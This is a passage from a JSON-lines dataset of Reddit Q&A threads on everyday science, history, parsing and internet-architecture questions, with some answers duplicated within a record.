connection is made in your dendrites. The more you do it, the more these dendrites grow and the stronger they become. \n\nWhenever you first learn something, your dendrites make the connection and almost immediately disconnect. This is why your short term memory is only a few seconds or so. But if you revisit something a few times, the connection between your dendrites will become stronger and if you do it enough they will become permanent. This is why your capacity for long term memory is thought to be unlimited in time and material.  ", "Fun fact: the gap between synapses (which gets tighter or looser depending on the strength of the memory) is held in place by the sugar fucose (not fructose). The same sugar that makes your blood type."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.pbs.org/video/2365663085/"], [], [], [], [], [], []]}
{"q_id": "14vkwb", "title": "Magnetic acceleration based weapons?", "selftext": "Well, i know science-fiction is full of magnetic acceleration based weapons, like MAC cannons, railguns, gauss cannons, among other things.\n\nI was reading about the subject and some sources said that the ammo from this kind of weapons would consist in high speed/high temperature/high mass metal rounds. Basically melted metal hitting something at supersonic speed.\n\n* This weapons already exist?\n\n* What would be the effect on something that takes the shot?\n\nI found [this](_URL_1_) and [this](_URL_0_) vids that show some of it, but i'm still very curious.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14vkwb/magnetic_acceleration_based_weapons/", "answers": {"a_id": ["c7h1coh"], "score": [2], "text": ["The US navy, along with BAE systems, a British engineering firm, have already made and test fired a magnetic railgun with some success.\n\nYes the weapon does exist, but, only as a test weapon. The benefits of this weapon are its incredible accuracy and power. The slug can be fired at speeds up to mach 7. The flames you see behind it is the air being vaporised.\n\nThe effect on something taking that hit would be unimaginable. It would obliterate almost anything. The problem would be stopping the round after it had impacted its target. Say you were hitting a building with a slug travelling at mach 4, it would strike the building, completely destroy it and then carry on like nothing has happened, thats the problem they're facing.\n\nAnother benefit is that the ammunition is non-volatile and completely safe to transport. "]}, "title_urls": [], "selftext_urls": ["http://youtu.be/y54aLcC3G74?t=3m25s", "http://www.youtube.com/watch?v=i1q_rRicAwI"], "answers_urls": [[]]}
{"q_id": "1jovuh", "title": "Why don't we just keep probes in orbit around objects, instead of doing fly-bys?", "selftext": "We have Cassini-Huygens orbiting Saturn right now, couldn't we have done this with other probes? New Horizons is going to Pluto, why not just keep it there to do science for a while?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jovuh/why_dont_we_just_keep_probes_in_orbit_around/", "answers": {"a_id": ["cbgu68n", "cbgvi01", "cbgwlqk", "cbgzdy0"], "score": [22, 11, 2, 2], "text": ["Two reasons, really: \n\nOne is that in order to get to Pluto in a tolerable amount of time (~10 years) NH has to move very fast, using a gravitational slingshot. This means that if we wanted to slow it down to orbit Pluto, we'd have to expend a huge amount of propellent (which we don't have) in order to get rid of all this spare kinetic energy in time to go into orbit around Pluto. \n\nThe second reasons is a little more technical. Pluto is tiny, with a very small gravity well into which we'd want to drop our spacecraft. In order to avoid overshooting, we'd have to start decelerating essentially immediately after slingshot to the planet, thus burning a lot more propellent and extending the duration of the mission substantially. \n\nIn the end, it comes down to tradeoffs. Do you bump up the cost of the mission hugely for these more complicated propellent systems, or do you fire a leaner, cheaper, faster system and try to maximize what you can get as you pass by? In the end, the decision came down on the side of the latter with NH. ", "Money.  \n\nIt takes way more delta-v (fuel) to deliver a probe into orbit than it does to do a flyby.  Especially when you are sending crap all the way out to ~~Eeloo~~ Pluto.  To establish orbit around a body, you need to begin decelerating once you are out there.  This takes fuel.  To get the fuel out there, you need to get that fuel into orbit, which requires a BIGGER launch vehicle.  And I think NH already used one of the largest launch vehicles at the time just for the flyby (Atlas V)... so if you wanted to get put it in orbit, you would need to spend all that money to make a new, one of a kind launch vehicle - just for NH.  ", "We have put up some  some very nice Mars orbiters -\n\n_URL_3_   \n.  \n\nWe've also had a couple to Venus. -\n\n_URL_2_\n\n_URL_0_  (failed to enter orbit around Venus)\n\nAnd another planned \"by May 2015\" (apparently the launch date) \n\n_URL_1_ \n\n\\-\n\nBroadly speaking,  the time that these things can  stay in orbit is limited  to  months or years. \n\nThey need to occasionally make  small course corrections  to stay in orbit, and when they run out of fuel,  their orbits begin  to decay and they eventually deorbit and/or re-enter and burn up and/or crash.", "There's a big difference between just getting a probe out to a body and keeping it out with the body.\n\nDue to gravity there is no such thing as taking it nice and slowly, you have to reach a certain speed or you'll simply start being pulled backwards before you reach your destination. That change in velocity is described as delta-v.\n\nThe problem is that it takes one amount of delta-v to change a part of your orbit to go around Pluto, but it takes a lot more delta-v to match Pluto's speed and orbit it, especially since it has a low gravity.\n\nIn the end it probably comes down to money. Is the extra time worth the extra effort? Since Pluto is very far away and has a small gravity, it takes much more delta-v to orbit Pluto than it does to orbit Saturn."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Akatsuki_%28spacecraft%29", "http://en.wikipedia.org/wiki/Indian_Space_Research_Organisation#Venus_orbiter_mission", "http://en.wikipedia.org/wiki/Pioneer_Venus_project#Pioneer_Venus_Orbiter", "http://en.wikipedia.org/wiki/Category:Artificial_satellites_orbiting_Mars"], []]}
{"q_id": "20lojt", "title": "what would happen if the vice-president assassinated the president? couldn't he just pardon himself?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20lojt/eli5_what_would_happen_if_the_vicepresident/", "answers": {"a_id": ["cg4gwd5", "cg4ok16"], "score": [16, 2], "text": ["No, the new President would be immediately impeached (assuming the murder is discovered of course), which is the one exception to the pardon ability.\n\n >  he shall have Power to grant Reprieves and Pardons for Offenses against the United States, except in Cases of Impeachment.\n\n_URL_0_", "The statutes of [high crimes and misdemeanors](_URL_0_) covers this possibility. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Article_II_of_the_United_States_Constitution#Clause_1:_Command_of_military.3B_Opinions_of_cabinet_secretaries.3B_Pardons"], ["http://en.wikipedia.org/wiki/High_crimes_and_misdemeanours#United_States"]]}
{"q_id": "e8d784", "title": "how does a car battery test work?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e8d784/eli5_how_does_a_car_battery_test_work/", "answers": {"a_id": ["faawexi", "faawnbx"], "score": [2, 2], "text": ["There are 3 basic elements to an electrical circuit. Resistance, the holding back of electrons. Current, the flowing of electrons. Voltage, the push power of electrons. A battery tester is connected and measures these 3 values coming from the battery. The tester knows what the values look like with a good battery, and what the values look like with a bad battery. The tester takes the values of your battery and compares it to those of what it knows and tells you how close it is to good or bad.", "Well, first off it checks voltage. For a healthy battery and charging system, the battery should be resting around 12v. If the voltage is much lower, there a problem, either something wrong with the battery or more likely a weak charging system.\n\nAnother part of the test is putting a big load on the battery. The tool basically just connects a high power resistor across the battery, and measures the power coming out of the battery. If the output current is too low, or the voltage dips significantly, it means the battery is weak, and at or near the end of its useful life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "17su5y", "title": "why is it that when i fart while wearing pants and sitting down it feels like there is a bubble moving between my jeans and skin?", "selftext": "Yes this is a serious question. I have been posted during this for quite a while. After doing some Internet searching I learned I am not the only one. Unfortunately all I come across are questions with joke answers. I would like an explanation for this fart bubble phenomenon. \n\nThis is a serious question. Why doesn't it just feel like air? Why does it feel like an actual bubble forms? \nDid I mention this is a serious question yet? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17su5y/eli5_why_is_it_that_when_i_fart_while_wearing/", "answers": {"a_id": ["c88j431", "c88jwda", "c88ks0f"], "score": [8, 6, 5], "text": ["My (educated) guess is that it is an actual bubble. Fabric can contain gasses (not very well, but some of it), so it might very well be that a bubble of gas lifts the fabric from your skin and moves  until it comes to a place where it can freely escape into the air and poison you enemies.", "It feels like a bubble because it *is a bubble* of gas. What more do you want to know??", "You're worried that what is holding the gas in bubble form is liquid poop. Don't worry, most of the time this isn't the case. What happens is your butt cheeks are pressed together tight enough to form a seal (may be more likely to happen if you are a little sweaty). The gas is moving between your cheeks and forms a bubble between them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "kkv12", "title": "recursive-descent parsing with backtracking for grammar", "selftext": "I need some help with a homework problem that I don't understand.  I don't want to feel like I'm cheating, so I am not gonna ask the question from the homework, but I really don't understand what a recursive-descent parser is, even after reading all of the slides from the past 4 lectures.  Is there anyone who can explain this in a more simple way than wikipedia seems to?\n\nThanks", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kkv12/eli5_recursivedescent_parsing_with_backtracking/", "answers": {"a_id": ["c2l2wpd", "c2l2wpd"], "score": [3, 3], "text": ["I find the best way of learning is by example:\n\nLets say we have a grammar for a very simple calculator program.\n\nS - >  E\n\nE - >  T - E\n\nE - >  T\n\nT - >  0 | .. | 9\n\nNow, if our input to the parser is a member of the language defined by the grammar, then we know that at the root of the parse tree, will be 'S' (the starting non-terminal). Thus we should parse an 'S'.\n\nRecursive Descent parsers work by constructing the parse-tree in a top-down fashion. Each time a readX() function is called, imagine it creates a child node of the node created by its calling function.\n\nBy looking at the rules of the grammar, we can see that the child of the 'S' node has to necessarily be an 'E' and thus we must parse 'E' within the body of the S parsing function. After we have parsed 'E', there shouldn't be any terminals left and thus if the token we are currently looking at isn't 'EOF', then the input was malformed and we reject.\n\n    readS() {\n      readE();\n      lex();\n      if (token==EOF) { return; } else { error; }\n    }\n\nParsing 'E' is a little more difficult. According to the grammar, 'E' either reduces to a 'T', or a 'T - E'. In both instances, we must first parse a 'T', as T comes first in both 'T' and 'T-E'. If the next token is a '-', then we know that we are dealing with 'T-E' and thus we must parse another 'T'.\n\n    readE() {\n      readT();\n      lex();\n      if (token==-) { lex(); readE(); }\n    }\n\n    readT {\n      ...\n    }\n\n\nBelow is a trace of execution (I think its correct). It should give you more of an idea of whats going on.\n\n    |[5] - 3 - 2 : readS()\n     |[5] - 3 - 2 : readE()\n      |[5] - 3 - 2 : readT()\n      |T [-] 3 - 2 : lex()\n      |T - [3] - 2 : readE()\n       |T - [3] - 2 : readT()\n       |T - T [-] 2 : lex()\n       |T - T - [2] : readE()\n       |T - T - [2] : readT()\n       |T - T - T : readT()\n      |T - T - E\n     | T - E\n    | E\n", "I find the best way of learning is by example:\n\nLets say we have a grammar for a very simple calculator program.\n\nS - >  E\n\nE - >  T - E\n\nE - >  T\n\nT - >  0 | .. | 9\n\nNow, if our input to the parser is a member of the language defined by the grammar, then we know that at the root of the parse tree, will be 'S' (the starting non-terminal). Thus we should parse an 'S'.\n\nRecursive Descent parsers work by constructing the parse-tree in a top-down fashion. Each time a readX() function is called, imagine it creates a child node of the node created by its calling function.\n\nBy looking at the rules of the grammar, we can see that the child of the 'S' node has to necessarily be an 'E' and thus we must parse 'E' within the body of the S parsing function. After we have parsed 'E', there shouldn't be any terminals left and thus if the token we are currently looking at isn't 'EOF', then the input was malformed and we reject.\n\n    readS() {\n      readE();\n      lex();\n      if (token==EOF) { return; } else { error; }\n    }\n\nParsing 'E' is a little more difficult. According to the grammar, 'E' either reduces to a 'T', or a 'T - E'. In both instances, we must first parse a 'T', as T comes first in both 'T' and 'T-E'. If the next token is a '-', then we know that we are dealing with 'T-E' and thus we must parse another 'T'.\n\n    readE() {\n      readT();\n      lex();\n      if (token==-) { lex(); readE(); }\n    }\n\n    readT {\n      ...\n    }\n\n\nBelow is a trace of execution (I think its correct). It should give you more of an idea of whats going on.\n\n    |[5] - 3 - 2 : readS()\n     |[5] - 3 - 2 : readE()\n      |[5] - 3 - 2 : readT()\n      |T [-] 3 - 2 : lex()\n      |T - [3] - 2 : readE()\n       |T - [3] - 2 : readT()\n       |T - T [-] 2 : lex()\n       |T - T - [2] : readE()\n       |T - T - [2] : readT()\n       |T - T - T : readT()\n      |T - T - E\n     | T - E\n    | E\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "n9l8x", "title": "Stranded in the desert with no water, just beer. Do I drink it?", "selftext": "I realise as alcohol it will make me dehydrated. But will the fact that its made using water, help me in the short term? Or wil it just make me die quicker?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n9l8x/stranded_in_the_desert_with_no_water_just_beer_do/", "answers": {"a_id": ["c37chgc", "c37cqmz", "c37d8k2", "c37dg72", "c37dj3p", "c37dshd", "c37du4r", "c37ep8n", "c37ewj4", "c37gjg7", "c37chgc", "c37cqmz", "c37d8k2", "c37dg72", "c37dj3p", "c37dshd", "c37du4r", "c37ep8n", "c37ewj4", "c37gjg7"], "score": [17, 39, 4, 9, 18, 2, 4, 2, 2, 2, 17, 39, 4, 9, 18, 2, 4, 2, 2, 2], "text": ["Not only will it keep you hydrated it will provide some nutritional value, and more importantly calories, so you will be better energized to get out of the situation compared to just water alone.", "A very interesting question indeed. Without going into the mechanism, it is known that the ingestion of alcohol is followed by diuresis, and if the amount of alcohol is enough, the diuresis occurs at the expense of all cellular components, and dehydration ensues. However it may be not that straightforward in a situation were the body is already under stress by dehydration.\n\nThis article here , \"Restoration of fluid balance after exercise-induced dehydration: effects of alcohol consumption - [J. Appl. Physiol. 83(4): 1152\u20131158, 1997](_URL_0_)\", says that the effect is very small for a low concentration of alcohol if consumed by individuals who are in a state of hypohydration induced by exercising in the heat, so it seems that you may drink your beer and the body will use it almost as if it were water.\n", "Question: Isn't this essentially why ancient Egyptians would drink copious amounts of beer? Contaminated water supplies being worse for you than the diuretic effects of ethanol? ", "One of the reasons we have drinks like beer is because civilization depended on them for centuries before the availability of safe drinking water.", "Historically, many British industrial workers drank nothing but beer; Partly because the water was filthy, but also because drinking plain water would give them cramp. Glassblowers and foundry workers suffered intense heat, often in excess of 50c (120f), so would sweat profusely. Beer, combined with their salty diet, provided a more isotonic balance of fluids and better replenished lost electrolytes. The beer was relatively weak by modern standards but not small-beer either - usually about 3%. ", "In a pinch you can bring the beer to near boiling. Since Alcohol vaporizes at a lower temperature than water what you are left with is nearly all water. ", "In small doses, the diuretic effects of alcohol is offset by the amount of water in the alcohol itself (assuming it's a standard beer). Similar but greater effect in coffee, etc. So yeah, drink it.", "Beer was drank historically to hydrate due to bad water supplies. Without beer to hydrate the troops many historical armies would have greatly suffered. The alcohol in beer sterilized it and kept people from getting dysentary (spelling). \n\nSo as long as you don't let your BAC raise to the point of getting drunk, you can hydrate off of beer. Just take it easy!", "Well during long ocean voyages in colonization times grog was the only fluid source available to sailors. Fresh water does not keep for a long period of time as it will grow algae. And they had no real way of drinking ocean salt water. Grog/Beer doesn't go unhealthily bad quick.\n\nToday you learned: Sailors were wasted when they discovered America. ", "You could make a simple evaporative still and reclaim the water out of the beer.", "Not only will it keep you hydrated it will provide some nutritional value, and more importantly calories, so you will be better energized to get out of the situation compared to just water alone.", "A very interesting question indeed. Without going into the mechanism, it is known that the ingestion of alcohol is followed by diuresis, and if the amount of alcohol is enough, the diuresis occurs at the expense of all cellular components, and dehydration ensues. However it may be not that straightforward in a situation were the body is already under stress by dehydration.\n\nThis article here , \"Restoration of fluid balance after exercise-induced dehydration: effects of alcohol consumption - [J. Appl. Physiol. 83(4): 1152\u20131158, 1997](_URL_0_)\", says that the effect is very small for a low concentration of alcohol if consumed by individuals who are in a state of hypohydration induced by exercising in the heat, so it seems that you may drink your beer and the body will use it almost as if it were water.\n", "Question: Isn't this essentially why ancient Egyptians would drink copious amounts of beer? Contaminated water supplies being worse for you than the diuretic effects of ethanol? ", "One of the reasons we have drinks like beer is because civilization depended on them for centuries before the availability of safe drinking water.", "Historically, many British industrial workers drank nothing but beer; Partly because the water was filthy, but also because drinking plain water would give them cramp. Glassblowers and foundry workers suffered intense heat, often in excess of 50c (120f), so would sweat profusely. Beer, combined with their salty diet, provided a more isotonic balance of fluids and better replenished lost electrolytes. The beer was relatively weak by modern standards but not small-beer either - usually about 3%. ", "In a pinch you can bring the beer to near boiling. Since Alcohol vaporizes at a lower temperature than water what you are left with is nearly all water. ", "In small doses, the diuretic effects of alcohol is offset by the amount of water in the alcohol itself (assuming it's a standard beer). Similar but greater effect in coffee, etc. So yeah, drink it.", "Beer was drank historically to hydrate due to bad water supplies. Without beer to hydrate the troops many historical armies would have greatly suffered. The alcohol in beer sterilized it and kept people from getting dysentary (spelling). \n\nSo as long as you don't let your BAC raise to the point of getting drunk, you can hydrate off of beer. Just take it easy!", "Well during long ocean voyages in colonization times grog was the only fluid source available to sailors. Fresh water does not keep for a long period of time as it will grow algae. And they had no real way of drinking ocean salt water. Grog/Beer doesn't go unhealthily bad quick.\n\nToday you learned: Sailors were wasted when they discovered America. ", "You could make a simple evaporative still and reclaim the water out of the beer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://jap.physiology.org/content/83/4/1152.full"], [], [], [], [], [], [], [], [], [], ["http://jap.physiology.org/content/83/4/1152.full"], [], [], [], [], [], [], [], []]}
{"q_id": "dnz1cf", "title": "Was Darude's 26 October 1999 release, Sandstorm, groundbreaking for what it was, or largely derivative, and a solid example of music from the time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dnz1cf/was_darudes_26_october_1999_release_sandstorm/", "answers": {"a_id": ["f5il1do"], "score": [60], "text": ["The latter. 1999 / 2000 was the commercial peak of European epic trance - which, along with the entire \"superclub\" culture of the time crashed and burned badly around 2001, giving birth to [darker styles like early 2000s progressive house](_URL_3_) (the exact same thing happened with [Uk Garage around 2001](_URL_6_), by the way, which gave birth to [Grime](_URL_2_)). So I suppose you could compare Sandstorm with a popular record from the peak Disco era, for example, that capitalized on that style just before it all went south. Looking at it musically, *Sandstorm* definitely follows the formula of the style popular in commercial trance at the time: really DJ long intro with the drums appearing in 16 / 32 / 64 bar increments as expected, cymbal fills to mark transition points, plenty of snare rolls (one of the most 90s things there is, originally popularized by [Hardfloor - Acperience](_URL_0_)), looong breakdown, supersaw-ish strings, offbeat donk bass. The most characteristic element is definitely the resonant lead but looking at say, late 90s hard trance I don't think it would be difficult to find similiar sounding tracks. Listening to it now, overall, the production and engineering is also very characteristic for the late 90s, being cleaner than most electronic music from the early 90s but not as clean as most music made in the DAW era starting from the early 2000s. The synths tones are all quite obviously from 90s digital synths (most popular at the time being the Nordlead and JP8000), which really dominated that era of trance.\n\nWhat I find interesting about Sandstorm is that it's always been kind of a meme, maybe because of the iconic video? There are much more historically important smash-hit tracks from that style and era like [*System F - Out Of The Blue*](_URL_1_), [*Lost Tribe - Gamemaster*](_URL_4_), [Gouryella - Gouryella](_URL_7_) or [*Rank 1 - Airwave*](_URL_5_) but none of them have made quite the career that *Sandstorm* has."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=Un4CeV_l3pI", "https://www.youtube.com/watch?v=Qgx_V0So0qk", "https://www.youtube.com/watch?v=PlOhR8NV5WY", "https://www.youtube.com/watch?v=_6wF6Qume7A", "https://www.youtube.com/watch?v=G_2TKQV7CjU", "https://www.youtube.com/watch?v=gTPSxbQ9sbo", "https://www.youtube.com/watch?v=0-OKiKYdRJA", "https://www.youtube.com/watch?v=NEivFBrGESk"]]}
{"q_id": "1bioxw", "title": "why does the internet love cats?", "selftext": "internet and cats are like bread and butter. anybody care to explain why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bioxw/eli5_why_does_the_internet_love_cats/", "answers": {"a_id": ["c970t0w", "c97156q", "c9747vk"], "score": [4, 4, 2], "text": ["It's quite simple son. Cats are a common household pet so lots of people have them. You might think that there should be an equal amount of dogs, but dogs don't sit still long enough for you to take a photograph of them to upload onto the internet, whereas cats are quite nonchalant (once fed) and are quite happy for you to put stuff all over them. \n\nI also theorize that cat people are more lonely and spend more time personifying their cats, therefore you have a statistically higher chance of cat pictures/videos making it onto the internet in such a state that other cat people will congregate to discuss their photos.", "Because they're cute. ", "My personal hypothesis...\n\nDog owners can take their dogs to the dog park and interact with each other and talk about dogs. Cat owners don't have that. Or didn't until the internet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "10f5ns", "title": "why do gold bars have a wider base and a narrow top instead of having perfect 90 degree angles?", "selftext": "I'm playing Skyrim and this occurs to me... is it just easier to lift a single brick off of a stack when its base is wider than the top of the brick below?  Or is there some deeper reason?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10f5ns/why_do_gold_bars_have_a_wider_base_and_a_narrow/", "answers": {"a_id": ["c6cyb98", "c6d049a", "c6d0p1w", "c6d0w0x", "c6d214b", "c6d218v", "c6d257k", "c6d4acu", "c6d784b"], "score": [911, 23, 101, 8, 2, 5, 32, 7, 2], "text": ["Imagine for a moment that you're pouring molten gold into a mold.  You cool it, and it solidifies.  If the sides were perfectly vertical, the bar of gold may not come free of the mold due to a variety of factors.  By tapering it you can guarantee that the bar will come free easily.", "[dmukya](_URL_0_) has a good reason for the ease of manufacturing, but I present another one:\n\n\nGold is relatively soft, especially when its weight is kept in mind. If you dropped a gold brick on a corner you might very well dent it. This means that, if stored in a large pile, over time gold bricks may smoosh into each other.\n\n\nIf gold bricks were made as perfectly square bricks, when stored they might bind against each other and become difficult to pull apart. (Remember those bloody tiny Legos when they got stuck on each other?) Tapers on the sides make it much less likely for the bricks to bind against each other, and when they do you'll be able to fit a prybar in between to break them apart again.", "I actually did research because I wanted a real answer and this is what I found: \"the shape and size of the mold is designed to allow for ease of ingot handling and downstream processing. Finally the mold is designed to minimize melt wastage and aid ejection of the ingot, as losing either melt or ingot increases manufacturing costs of finished products.\" So dmukya was right on the money. \n", "I never even thought about this, brilliant. TIL", "I always thought it was so it was more difficult to pick up, and therefor more difficult to steal. Can't remember where I heard that...", "Added to the back of my brain for future trivia.", "Tomorrow's headline: Centuries-old gold bullion skimming scheme uncovered by internet forum!", "I know you're talking about movie kind of bars, like the 25lb ones. \n\nBut your local bank will probably sell silver, gold, platinum, palladium bars to you. They will not be 25lbs though, they will be like 1oz, or for silver 1, 10, 100 oz. \n\nThese bars are rectangular, and cracker sized. Some are close to having straight edges, while others have more rounded corners.", "So they can easily slide out of the mould they are made in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/10f5ns/why_do_gold_bars_have_a_wider_base_and_a_narrow/c6cyb98"], [], [], [], [], [], [], []]}
{"q_id": "3ko13p", "title": "In the latest Avengers movie, there is a \"Nexus\" hub which routes every packet of traffic on the internet. What is the closest thing we have to a core of the internet in real life?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3ko13p/in_the_latest_avengers_movie_there_is_a_nexus_hub/", "answers": {"a_id": ["cuz2ili", "cuz2j6p", "cuz2kz8", "cuz2y2h", "cuz3e8d", "cuz3k5a", "cuz3mot", "cuz3p8y", "cuz3zwf", "cuzaunl", "cuztchh"], "score": [27, 2, 10, 7, 8, 177, 5, 5, 26, 4, 2], "text": ["The Internet is decentralized and by design has no single \"choke point\" for data. However, there are multiple companies who are considered Tier One Internet providers. This means that they build large networks and provide connection to other tier one providers for other smaller Internet Service Providers (isp's). A tier one provider may also be an isp (Verizon and AT & T are both considered tier one providers) or can just provide routing and connection services to ISP's and not end users (Level 3 in the US, for example).\n\nSource: Had some networking classes in college and Wikipedia. ", "There is no good answer. How would you define the core? In the movie, if every packet went through it, then it would be the most used or travelled hub.\n\nTo ask a similar question to highlight the problem... What would you say in the core of America's roadways? Which intersection?\n\nEven if the intersection was demolished, it may slow down traffic, but cars could take alternate routes. The best you could answer is the most trafficked intersection or node.", "Part of the beauty of the internet is that there doesn't really need to be a \"core\" in the common sense. There does have to be a centralized domain name management system, but the internet itself could function without that - you'd just have to memorize a lot of IP addresses because there would be no guarantee that only one person has a domain name (in theory DNS could still work, but there would be no guarantees of your destination).\n\nIn terms of critical infrastructure and protocols, I think the Border Gateway Protocol, and its associated routers, would be the closest you can get. According to one of my old textbooks, which I sadly no longer have, disabling BGP routers (or even configuring them incorrectly) can cause large swaths of geographic territory to disappear from the internet.\n\nWhile it's not peer-reviewed or a textbook, [this site](_URL_0_) explains the importance of the protocol itself and of configuring the routers securely and correctly.\n\nI've been out of the field for a while now, so if anyone else has additional information on this, I'd love to hear another opinion.", "There are big fiber optic hubs operated by the big telcos in the United States. Their existence allowed the NSA to more or less tap large chunks of the US internet and all traffic entering or exiting the US.\n\n_URL_0_", "DNS root servers. There's 13 of them, in the world. I believe that at one point, the military owner the majority of them and decided to make them more public, and turned over control to schools and authoritative bodies. \n\nDNS changes a name or word into a number, and a number to a name. When you go to _URL_0_, your computer requests the IP for that site. Your local DNS server will more than likely have this IP and give it to you. Then, your computer reaches out to that IP, and the next thing you know, you're looking up funny cat videos. \n\nBut, what happens if your local DNS server doesn't know about the website you request? It has a kind of parent DNS server, and it will make the same request to its parent. As you go up the chain, you start getting less and less servers, until you're left with the 13 root servers. Not a single Nexus, but definitely the closest thing we have to it. \n\nYou can also go from IP to name. Nslookup 8.8.8.8 will resolve to a Google server. In this case, it's google's public DNS, free to use by anyone. \n\nAlong the same lines, the dark net is only dark because it's not registered in DNS. You have to know how to get where you're going, DNS won't help you. ", "Hey, Network Engineer here! \n\n (please don't get mad at me mechanical/electrical/etc engineers, it's just a job title.)\n\nThat idea is actually the exact opposite of how the internet works. (funny enough Cisco, a major networking vendor, has a line of switches called Nexus.)\n\nStrictly speaking the internet routing is completely distributed.  The BGP protocol is how that routing table is updated and hundreds of thousands of people/companies update the table regularly.   Those updates include    the destination  information and how-to-get-here information (IP and AS PATH).    In fact, often times the path you take to get to one place will be different from the path the traffic takes to get back to you!  Outside of a single Autonomous System (usually a company / ISP)  people are more interested in taking advantage of the best route available to them than anything mainly because those internet links are expensive.\n\nA lot of the heavy lifting comes in from the ISPs of course,  you have multiple tiers of ISPs and they're all of the world... but this doesn't centralize anything further at all.   Funny enough because of the way BGP works, if these providers aren't doing things 100% air tight  an accidental configuration can bring large chunks of the internet down.\n\nsee:\n\n   _URL_1_\n\n   _URL_2_\n\nboth of those links deal with the architecture of the internet and the exact thing you asked about.   A czech provider had accidentally updated their little slice of the internet wrong and brought a large portion of it down for about a half hour... people took notice.\n\nWe know that governments have done inline taps on fiber links, sometimes at a large scale - which is sort of like what you're talking about.  \n\nSo much so that google is now encrypting their internal traffic..: \n\n   _URL_0_\n    \nBut there's really no central point of failure with the internet, though there's plenty of ways to make it fail. \n", "I haven't done network work for a while so my information is likely dated, but the closest one came to anything similar to a Nexus hub ten years ago would be a Metropolitan Area Exchange (MAE). For example, there was MAE-East in the Washington, D.C. and MAE-West in the San Jose. That said, Internet Protocols do not rely on such central services, so if they went away, the net could route around them.", "There isn't a single hub, but what you are looking for are called the DNS root name servers. These 13 server farms, located around the world, hold the ultimate key that decides where each packet travels on the internet (for all intents and purposes. There are some exceptions, but I won't go into them here). DNS, or domain name service, is what translates *http://_URL_0_* to *204.85.30.102*. It takes the URL you put in the address bar and converts it to the IP address registered to that URL. This is important because computers don't inherently know which computer is at which URL. They have to look up the IP address first, and then they can use that tot communicate. \n\nDNS does the job of translating URLs to IP addresses for your computer. Without this service, you can't access the internet unless you know which IP address you are trying to get to. There are multiple levels of DNS, from the local cache that is stored on some computers, to the caches stored by Tier 1 and 2 ISPs (internet service providers), all the way up to the DNS root name servers. These root name servers are the end all be all for routing IP packets. If they were updated to say that *_URL_0_* was registered to the IP address *31.192.117.132* then you would be automatically redirected to _URL_3_ everytime you typed _URL_2_ into the URL address bar at the top of your browser. ", "I think that the closest you are going to find to the Nexus Hub from the movie is an [Internet Exchange](_URL_1_). These are basically just locations where networks meet. The first major Exchange was [MAE East](_URL_2_), which actually was basically a single centralized point that most internet traffic routed to. \n\nAt one point it was the main way for traffic to be exchanged between ISPs. For example, before DE-CIX went in in Germany, the three telecoms there all routed their traffic across the ocean to MAE East, even if it was just going to connect to one of the other German ISPs. Eventually they realized this was really really really slow, so they started an exchange in Frankfurt, Germany (DE-CIX).\n\nIf you are really interested in this, I would highly recommend reading [Tubes: A Journey to the Center of the Internet](_URL_0_). It is very well written, and although I was already familiar with most of the internals of how things worked, it definitely isn't required to already understand the process. \n\nEdit: I also found [this list of internet exchanges by size](_URL_3_)", "To add to what others are saying. The lack of a core to the internet was done deliberately by those who designed it for the purpose of preventing any one entity from being able to control it. The \"Nexus\" hub was something that was deliberately made not possible by the engineers who created the internet. \n\nAs a side effect of this, it also means your content loads faster because it does not have to travel all the way to the hub and all the way back.", "I work with Cisco routers. There is one box the size of a refrigerator that routes about 8 Terabits per second. It can transfer the entire contents of a 1 Terabyte drive every second. It's used in cloud and core network applications. This type of box is the backbone of most core networks over which Internet traffic is routed. As others have answered, there are multiple circuits and multiple routers between the various endpoints on the Internet, so there is really no such thing as a single 'hub'. Probably the best way to bring down the modern Internet would be to poison several root DNS servers, which would interfere with network hosts and smaller DNS servers from successfully looking up IP addresses for hostnames. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.enterprisenetworkingplanet.com/netsp/article.php/3615896/Networking-101-Understanding-BGP-Routing.htm"], ["https://en.wikipedia.org/wiki/Room_641A"], ["google.com"], ["http://www.infoworld.com/article/2612729/cringely/what-s-on-tap-at-the-nsa--google-s-and-yahoo-s-private-fiber-backbones.html", "http://research.dyn.com/2009/02/the-flap-heard-around-the-world/", "http://research.dyn.com/2009/02/longer-is-not-better/"], [], ["www.google.com/", "http://www.google.com/*", "google.com", "www.pornhub.com"], ["http://www.amazon.com/Tubes-A-Journey-Center-Internet/dp/0061994952", "https://en.wikipedia.org/wiki/Internet_exchange_point", "https://en.wikipedia.org/wiki/MAE-East", "https://en.wikipedia.org/wiki/List_of_Internet_exchange_points_by_size"], [], []]}
